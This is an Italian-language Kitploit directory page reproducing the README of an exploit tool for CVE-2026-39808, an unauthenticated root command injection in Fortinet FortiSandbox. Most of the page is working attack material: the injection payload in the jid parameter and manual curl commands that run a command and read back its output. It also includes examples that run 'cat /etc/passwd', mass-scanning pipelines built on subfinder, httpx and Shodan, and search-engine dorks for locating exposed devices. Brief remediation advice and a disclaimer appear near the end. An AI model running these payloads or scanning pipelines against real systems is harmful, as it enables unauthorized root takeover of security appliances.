Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
FortiSandbox-RCE-Exploit-CVE-2026-39808 — Scanner RCE non autenticato per FortiSandbox CVE-2026-39808 con verifica basata su canary, esecuzione di comandi e integrazione pipeline per scansioni di massa. | Kitploit
Strumenti/GitHubGitHub/ynsmroztas/fortisandbox-rce-exploit-cve-2026-39808
RicognizioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and Control
GitHubynsmroztas/fortisandbox-rce-exploit-cve-2026-39808

FortiSandbox-RCE-Exploit-CVE-2026-39808

Scanner RCE non autenticato per FortiSandbox CVE-2026-39808 con verifica basata su canary, esecuzione di comandi e integrazione pipeline per scansioni di massa.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
2684 mesi faRevisionato da Kitploit
Condividi

Scanner RCE FortiSandbox — CVE-2026-39808

CVE-2026-39808 FortiSandbox RCE

CVE-2026-39808 CVSS 9.8 Python 3.7+ No dependencies MIT License

Iniezione di comandi OS non autenticata come root in Fortinet FortiSandbox

Vulnerabilità • Installazione • Utilizzo • Come Funziona • Pipeline • Shodan Dorks • Disclaimer


Vulnerabilità

CVE-2026-39808 è una vulnerabilità critica di iniezione di comandi OS non autenticata in Fortinet FortiSandbox. L'endpoint API /fortisandbox/job-detail/tracer-behavior non riesce a sanificare il parametro jid, consentendo a un attaccante di iniettare comandi OS arbitrari che vengono eseguiti come root — senza alcuna autenticazione.

Causa Principale

Il parametro jid nell'endpoint tracer-behavior viene passato direttamente a un comando di sistema senza sanificazione. Utilizzando caratteri pipe (|), un attaccante può uscire dal contesto del comando previsto ed eseguire comandi arbitrari:

root@kitploit:~
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

L'output viene scritto in /web/ng/out.txt, accessibile su /ng/out.txt nel server web — fornendo un comodo meccanismo di lettura per l'iniezione di comandi cieca.


Installazione

Zero dipendenze. Solo libreria standard Python 3.7+.

root@kitploit:~
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

Utilizzo

Scansione di Base

root@kitploit:~
# Verifica se un target è vulnerabile (usa rilevamento basato su canary)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

Esegui Comando

root@kitploit:~
# Esegui un comando specifico sul target
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

Solo Verifica (Nessuna Esecuzione di Comandi)

root@kitploit:~
# Controlla solo se è vulnerabile, non eseguire --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only

Con Proxy Burp

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

Report JSON

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com -o report.json

Modalità Pipeline (Scansione di Massa)

root@kitploit:~
# Da una lista di URL
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

Tutte le Opzioni

root@kitploit:~
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           URL del target
  --stdin                 Leggi URL da stdin (modalità pipeline)
  --cmd CMD               Comando OS da eseguire (default: id)
  --verify-only           Verifica solo la vulnerabilità, non eseguire --cmd
  --proxy PROXY           Proxy HTTP (es. http://127.0.0.1:8080)
  --timeout TIMEOUT       Timeout HTTP in secondi (default: 15)
  --rate-limit RATE_LIMIT Ritardo tra i target in ms (default: 0)
  -o, --output FILE       File di report JSON di output
  --no-banner             Sopprimi il banner

Come Funziona

Lo scanner utilizza un processo di verifica in 5 fasi con una rigorosa prevenzione dei falsi positivi:

root@kitploit:~
Fase 1  →  Rileva FortiSandbox (fingerprint titolo/header)
Fase 2  →  Controlla se l'endpoint vulnerabile esiste
Fase 3  →  Inietta stringa canary univoca tramite iniezione di comandi
Fase 4  →  Leggi /ng/out.txt e verifica il canary (validazione rigorosa testo semplice)
Fase 5  →  Esegui comando utente + pulizia

Prevenzione dei Falsi Positivi

Lo scanner implementa più livelli di validazione per eliminare i falsi positivi:

  • Rilevamento HTML — Se l'URL di output restituisce una pagina HTML (catch-all Angular SPA), viene segnalato come falso positivo
  • Validazione Content-Type — L'output del comando non deve essere text/html
  • Isolamento Canary — Il canary deve apparire in testo semplice pulito, non incorporato in tag HTML
  • Regex Output id — Corrispondenza rigorosa del pattern uid=\d+(\w+) con controllo di dimensione (<1000 byte)
  • Normalizzazione URL Base — Rimuove automaticamente il suffisso /ng per prevenire problemi di doppio percorso

Esempio di Output

Target Vulnerabile

root@kitploit:~
  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Iniezione di Comandi Non Autenticata (root)            ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://fortisandbox.example.com                 │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox rilevato!
  ▸ Controllo endpoint: /fortisandbox/job-detail/tracer-behavior
  ▸ Stato endpoint: 200 | Content-Type: text/html
  ▸ Iniezione canary: mitsec_a8k3m2x1
  ▸ Lettura output: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 VULNERABILE — CVE-2026-39808 CONFERMATO!
   CRITICAL  Target: https://fortisandbox.example.com
  ✓ Canary 'mitsec_a8k3m2x1' verificato nell'output (testo semplice pulito)

  ──────────────────────────────────────────────────────────
    Output Comando: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ File di output ripulito

Non Vulnerabile

root@kitploit:~
  ┌──────────────────────────────────────────────────────────┐
  │ Target: https://patched.example.com                      │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox rilevato!
  ▸ Controllo endpoint: /fortisandbox/job-detail/tracer-behavior
  ✗ Endpoint ha restituito 404 — non vulnerabile o patchato

Falso Positivo Gestito

root@kitploit:~
  ▸ Lettura output: https://target.com/ng/out.txt
  ⚠ L'URL di output restituisce una pagina HTML — questa è la Angular SPA, NON l'output del comando
  ▸ Content-Type: text/html
  ▸ Questo è un falso positivo — /ng/out.txt serve l'index.html della SPA
  ▸ Il target non sembra vulnerabile

Formato Report JSON

root@kitploit:~
{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

Integrazione Pipeline

Lo scanner invia gli URL vulnerabili su stdout (tutto l'altro output va su stderr), rendendolo completamente compatibile con le pipeline:

root@kitploit:~
# Trova target vulnerabili e salvali
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# Combina con nuclei per ulteriori test
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# Scansione di massa silenziosa con rate limiting
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

Shodan Dorks

root@kitploit:~
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

Censys:

root@kitploit:~
services.http.response.html_title:"FortiSandbox"

FOFA:

root@kitploit:~
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

Google Dork:

root@kitploit:~
intitle:"FortiSandbox - Please login"

Verifica Manuale

Se preferisci verificare manualmente usando curl:

root@kitploit:~
# Fase 1: Inietta il comando
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# Fase 2: Leggi l'output
curl -s -k "https://TARGET/ng/out.txt"
# Atteso: uid=0(root) gid=0(root) groups=0(root)

Rimedio

  • Aggiorna FortiSandbox alla versione 4.4.9 o superiore
  • Se l'applicazione immediata della patch non è possibile:
    • Limita l'accesso di rete all'interfaccia di gestione di FortiSandbox
    • Usa regole firewall per bloccare l'accesso esterno agli endpoint /fortisandbox/job-detail/
    • Monitora i log per valori sospetti del parametro jid contenenti caratteri pipe

Cronologia

DataEvento
Novembre 2025Vulnerabilità scoperta
Aprile 2026CVE-2026-39808 pubblicato
Aprile 2026Patchato in FortiSandbox 4.4.9

Riferimenti

  • Advisory Fortinet PSIRT — FG-IR-25-325
  • CVE-2026-39808 — NVD

Disclaimer

Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'accesso non autorizzato a sistemi informatici è illegale. Ottieni sempre la dovuta autorizzazione scritta prima di effettuare test. L'autore non si assume alcuna responsabilità per l'uso improprio di questo strumento.


Autore

mitsec — @ynsmroztas

  • Portfolio: ynsmroztas.github.io
  • 100+ Hall of Fame | 2.430+ Vulnerabilità Divulgate | 1.100+ Scoperte Critiche

Se questo strumento ti è stato utile, considera di dargli una ⭐

Scarica lo strumento
DettaglioValore
ID CVECVE-2026-39808
Punteggio CVSS9.8 (Critico)
Vettore di AttaccoRete
AutenticazioneNessuna
PrivilegiRoot
Versioni AffetteFortiSandbox < 4.4.9
Corretto In4.4.9 e successive
AdvisoryFG-IR-25-325